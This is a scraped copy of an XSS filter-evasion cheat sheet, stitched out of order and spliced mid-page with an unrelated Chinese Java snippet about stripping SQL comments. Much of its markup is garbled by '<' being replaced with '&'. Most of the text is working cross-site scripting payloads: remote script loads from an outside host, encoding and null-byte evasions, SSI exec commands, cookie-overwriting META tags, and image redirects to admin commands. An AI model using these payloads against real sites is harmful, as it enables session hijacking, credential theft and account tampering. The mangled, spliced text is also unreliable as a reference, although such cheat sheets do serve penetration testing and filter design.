(this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):
exp/*&A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(Older versions of Netscape only):
&STYLE TYPE="text/javascript"&alert('XSS');&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
&STYLE&.XSS{background-image:url("javascript:alert('XSS')");}&/STYLE&&A CLASS=XSS&&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&STYLE type="text/css"&BODY{background:url("javascript:alert('XSS')")}&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).
Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector.
Or the system could add comment tags around something to attempt to render it harmless.
As we can see, that probably wouldn't do the job:
&!--[if gte IE 4]&
&SCRIPT&alert('XSS');&/SCRIPT&
&![endif]--&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Works in IE and Netscape 8.1 in safe mode.
You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render.
Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths.
If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
&BASE HREF="javascript:alert('XSS');//"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag).
The linked file is actually an HTML file that can contain your XSS:
&OBJECT TYPE="text/x-scriptlet" DATA="http://jb51.net/scriptlet.html"&&/OBJECT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
you can embed XSS directly (this is unverified so no browser support is added):
&OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-&¶m name=url value=javascript:alert('XSS')&&/OBJECT&
you can embed a Flash movie that contains XSS.
If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
&EMBED SRC="http://jb51.net/xss.swf" AllowScriptAccess="always"&&/EMBED&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
which can contain your XSS vector.
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to
for this one.
&EMBED SRC="data:image/svg+base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"&&/EMBED&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
inside flash can obfuscate your XSS vector:
a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
. The htc file must be located on the same server as your XSS vector:
&HTML xmlns:xss&
&?import namespace="xss" implementation="http://jb51.net/xss.htc"&
&xss:xss&XSS&/xss:xss&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by
while auditing Yahoo:
&XML ID=I&&X&&C&&![CDATA[&IMG SRC="javas]]&&![CDATA[cript:alert('XSS');"&]]&
&/C&&/X&&/xml&&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):
&XML ID="xss"&&I&&B&&IMG SRC="javas&!-- --&cript:alert('XSS')"&&/B&&/I&&/XML&
&SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
that is generated using an XML data island.
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector.
You can see the result :
&XML SRC="xsstest.xml" ID=I&&/XML&
&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is how .
This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
&HTML&&BODY&
&?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&
&?import namespace="t" implementation="#default#time2"&
&t:set attributeName="innerHTML" to="XSS&SCRIPT DEFER&alert(&XSS&)&/SCRIPT&"&
&/BODY&&/HTML&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
file to an image as an XSS vector:
&SCRIPT SRC="http://jb51.net/xss.jpg"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(Server Side Includes) requires SSI to be installed on the server to use this XSS vector.
I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
&!--#exec cmd="/bin/echo '&SCR'"--&&!--#exec cmd="/bin/echo 'IPT SRC=http://jb51.net/xss.js&&/SCRIPT&'"--&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- requires PHP to be installed on the server to use this XSS vector.
Again, if you can run any scripts remotely like this, there are probably much more dire issues:
&? echo('&SCR)';
echo('IPT&alert("XSS")&/SCRIPT&'); ?&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.
This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc....
This is one of the lesser used but more useful XSS vectors:
&IMG SRC="/somecommand.php?somevariables=maliciouscode"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain.
The vector uses a 302 or 304 (others work too) to redirect the image back to a command.
So a normal &IMG SRC="/a.jpg"& could actually be an attack vector to run commands as the user who views the image link.
Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
Redirect 302 /a.jpg /admin.asp&deleteuser
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- admittidly this is pretty obscure but I have seen a few examples where &META is allowed and you can use it to overwrite cookies.
There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page.
With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
&META HTTP-EQUIV="Set-Cookie" Content="USERID=&SCRIPT&alert('XSS')&/SCRIPT&"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to
for this one).
for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported.
in Google's custom 404 script.:
&HEAD&&META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/ charset=UTF-7"& &/HEAD&+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS using HTML quote encapsulation:
This was tested in IE, your mileage may vary.
For performing XSS on sites that allow "&SCRIPT&" but don't allow "&SCRIPT SRC..." by way of a regex filter "/&script[^>]+src/i":
&SCRIPT a="&" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
For performing XSS on sites that allow "&SCRIPT&" but don't allow "&script src..." by way of a regex filter "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
&SCRIPT ="&" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Another XSS to evade the same filter, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i":
&SCRIPT a=">" '' SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Yet another XSS to evade the same filter, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i".
I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &SCRIPT& tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &SCRIPT& tags):
&SCRIPT "a='>'" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
And one last XSS attack to evade, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
&SCRIPT a=`>` SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
&SCRIPT a=">'>" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
&SCRIPT>document.write("&SCRI");&/SCRIPT&PT SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL string evasion (assuming "/" is programmatically disallowed):
IP verses hostname:
&A HREF="http://66.102.7.147/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL encoding:
&A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Dword encoding (Note: there are other of variations of Dword encoding - see the
for more details):
&A HREF="http:///"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
&A HREF="http://0x42.0xx7.0x93/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):
&A HREF="http://07./"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know).
The tabs and newlines only work if this is encapsulated with quotes:
&A HREF="h
tt	p://6	6.x7.147/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Protocol resolution bypass (// translates to http:// which saves a few more bytes).
This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to
for part of this one).
You can also change the "//" to "\\".
You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
&A HREF="///"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 1.
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in.
So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user.
This uses Firefox's "keyword:" protocol.
You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
This no longer works within Firefox as of 2.0.
&A HREF="//google"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 2.
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function.
Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not.
It's simply a malformed URL.
If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
&A HREF="http://jb51.net@google"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 3.
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function.
Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
&A HREF="http://google:ha.ckers.org"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
&A HREF="/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Extra dot for absolute DNS:
&A HREF="./"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
JavaScript link location:
&A HREF="javascript:document.location='/'"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Content replace as attack vector (assuming "/" is programmatically replaced with nothing).
I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself () to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
&A HREF="http://www.go//"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Character Encoding:
All the possible combinations of the character "&" in HTML and JavaScript (in UTF-8).
Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):
<
<
<
<
<
<
<
<
<
<
<
<
<
ASCII Text:
Enter your XSS here
Hex Value:
HTML (with semicolons):
Decimal Value:
HTML (without semicolons):
Base64 Value ()
IP Address:
: dword level
Dword Address:
Hex Address:
Octal Address:
Browser support reference table:
Vector works in Internet Explorer 7.0.
Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
Vector works in Internet Explorer.
Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
Vector works in Netscape 8.1+ in IE rendering engine mode.
Most recently tested with Netscape 8.1 on Windows XP Professional.
This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
Vector works in Mozilla's Gecko rendering engine, used by Firefox.
Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
Vector works in Opera.
Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
Vector works in older versions of Netscape 4.0 - untested.
Note: if a vector is not marked it either does not work or it is untested.
Written in vim, and UTF-8 encoded, for her pleasure.
All rights reserved, all wrongs observed.}
java 去掉sql诠释 &"
&来源：读书人网&【读书人网()：综合教育门户网站】
java 去掉sql注释 --......写java代码，去掉sql中的注释.录井任务.sqlselect tsk.well_id,tsk.owner_org_
java 去掉sql注释 &--......&写java代码，去掉sql中的注释.录井任务.sqlselect tsk.well_id,&&&&&& tsk.owner_org_id owner_id, ---业务ID&&&&&& to_char(tsk.start_pause_time1, 'yyyy-MM-dd') pause_start, --中停开始日期&&&&&& to_char(tsk.end_pause_time1, 'yyyy-MM-dd') pause_end, --中停结束日期&&&&&& tsk.geographic_location location, --地理位置&&&&&& tsk.enable_trans, -- 是否允许传输(0:不是;1:是)&&&&&& to_char(tsk.start_pause_time2, 'yyyy-MM-dd') pause_start2, --二次中停开始日期&&&&&& to_char(tsk.end_pause_time2, 'yyyy-MM-dd') pause_end2, -- 二次中停结束日期&&&&&& tsk.locked_if locked, ---是否锁定记录编辑&&&&&& tsk.had_trans, --- 是否远传了数据 0：否，1：是&&&&&& tsk.spare2 data_valid,&&&&&& tsk.spare1 batch_add,&&&&&& petenc_name team_competenc, -- 队伍资质名称&&&&&& substr(tsk.extra_item, 1, 1) ding_l_y_g_if, --是否定量银光&&&&&& substr(tsk.extra_item, 2, 1) heci_if, --- 是否核磁录井&&&&&& substr(tsk.extra_item, 3, 1) di_hua_if, -- 是否地化录井&&&&&& mw.record_no bwpk, --记录号&&&&&& mw.over_symbol over_tag, ---完钻标志&&&&&&&&&&&& cw.spud_in_date is null) and oil.bill_id is null)&order by subg1.coding_show_id, mw.over_symbol, w.well_name&java类:&package com.yw.system.A7;import java.io.BufferedRimport java.io.IOEimport java.io.InputSimport java.io.InputStreamRpublic class Test {&&public static void main(String[] args){&&new Test().getSql();&}&private String getSql(){&&InputStream is = getClass().getResourceAsStream(&/录井任务.sql&);&&//File file = new File(&/录井任务.sql&);&&&&&&& BufferedReader reader =&&&&&&& StringBuffer sb = new StringBuffer();&&&&&&& try {&&&&&&&&&&& reader = new BufferedReader(new InputStreamReader(is));&&&&&&&&&&& String tempString =&&&&&&&&&&& int line = 1;&&&&&&&&&&& while ((tempString = reader.readLine()) != null) {&&&&&&&&&&&&&&& System.out.println(&line & + line + &: & + tempString);//一行行的读&&&&&&&&&&&&&&& sb.append(tempString.contains(&--&)?tempString.substring(0, tempString.indexOf(&--&)):tempString.substring(0));&&&&&&&&&&&&&&& line++;&&&&&&&&&&& }&&&&&&&&&&& reader.close();&&&&&&& } catch (IOException e) {&&&&&&&&&&& e.printStackTrace();&&&&&&& } finally {&&&&&&&&&&& if (reader != null) {&&&&&&&&&&&&&&& try {&&&&&&&&&&&&&&&&&&& reader.close();&&&&&&&&&&&&&&& } catch (IOException e1) {&&&&&&&&&&&&&&& &e1.printStackTrace();&&&&&&&&&&&&&&& }&&&&&&&&&&& }&&&&&&& }&&&&return sb.toString();&&&}}&&XSS (Cross Site Scripting) Cheat Sheet
XSS (Cross Site Scripting) Cheat SheetEsp: for filter evasion
Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.
This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack.
It will simply show the underlying methodology and you can infer the rest.
Also, please note my XSS page has been replicated by the
in the Appendix section with my permission.
However, because this is a living document I suggest you continue to use this site to stay up to date.
Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from .
Please see the
if you intend to use
or other automated tools.
If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the :
XSS (Cross Site Scripting):
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.
below to encode the entire string.
Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "&PLAINTEXT&" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&&/SCRIPT&"&'&&SCRIPT&alert(String.fromCharCode(88,83,83))&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check.
View source after injecting it and look for &XSS verses &XSS to see if it is vulnerable:
'';!--"&XSS&=&{()}
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
&SCRIPT SRC=http://jb51.net/xss.js&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):
&IMG SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS attack vector:
&IMG SRC=JaVaScRiPt:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(the semicolons are required for this to work):
&IMG SRC=javascript:alert(&XSS&)&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):
&IMG SRC=`javascript:alert("RSnake says, 'XSS'")`&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Originally found by
(but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.
I assume this was originally meant to correct sloppy coding.
This would make it significantly more difficult to correctly parse apart an HTML tag:
&IMG """&&SCRIPT&alert("XSS")&/SCRIPT&"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click
to build your own (thanks to Hannes Leopold):
&IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding (all of the XSS examples that use a javascript: directive inside of an &IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
for more information:
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total).
This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):
&IMG SRC=		)&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
for more information:
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up the cross site scripting attack:
&IMG SRC="jav	ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS:
&IMG SRC="jav	ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack.
That is incorrect.
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
for more details.
The following four XSS examples illustrate this vector:
&IMG SRC="jav
ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted.
Often I've seen filters that assume the hex and dec encoding has to be two or three characters.
The real rule is 1-7 characters.):
&IMG SRC="jav
ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:
&IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like
or use %00 in the URL string or if you want to write your own injection tool you can either use
(^V^@ will produce a null) or the following program to generate it into a text file.
Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char).
But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e 'print "&IMG SRC=java\0script:alert(\"XSS\")&";' & out
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters.
You can actually break up the HTML itself using the same nulls as shown above.
I've seen this vector bypass some of the most restrictive XSS filters to date:
perl -e 'print "&SCR\0IPT&alert(\"XSS\")&/SCR\0IPT&";' & out
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword.
The actual reality is you can have any char from 1-32 in decimal):
&IMG SRC=" 
javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag.
The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "&SCRIPT\s" != "&SCRIPT/XSS\s":
&SCRIPT/XSS SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer.
The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks.
Note that this also applies to the grave accent char as seen here:
&BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces.
This could be useful if the system does not allow spaces.
&SCRIPT/SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like
that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).
The double slash comments out the ending extraneous bracket to supress a JavaScript error:
&&SCRIPT&alert("XSS");//&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "&&/SCRIPT>" portion of this Cross Site Scripting vector.
Firefox assumes it's safe to close the HTML tag and add closing tags for you.
How thoughtful!
Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it.
You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
&SCRIPT SRC=http://jb51.net/xss.js?&B&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This particular variant was submitted by
and was based partially off of Ozh's protocol resolution bypass below.
This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &/SCRIPT& tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better.
The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
&SCRIPT SRC=//ha.ckers.org/.j&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
HTML/JavaScript XSS vector.
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images.
This is useful as a vector because it doesn't require a close angle bracket.
This assumes there is any HTML tag below where you are injecting this cross site scripting vector.
Even though there is no close "&" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it.
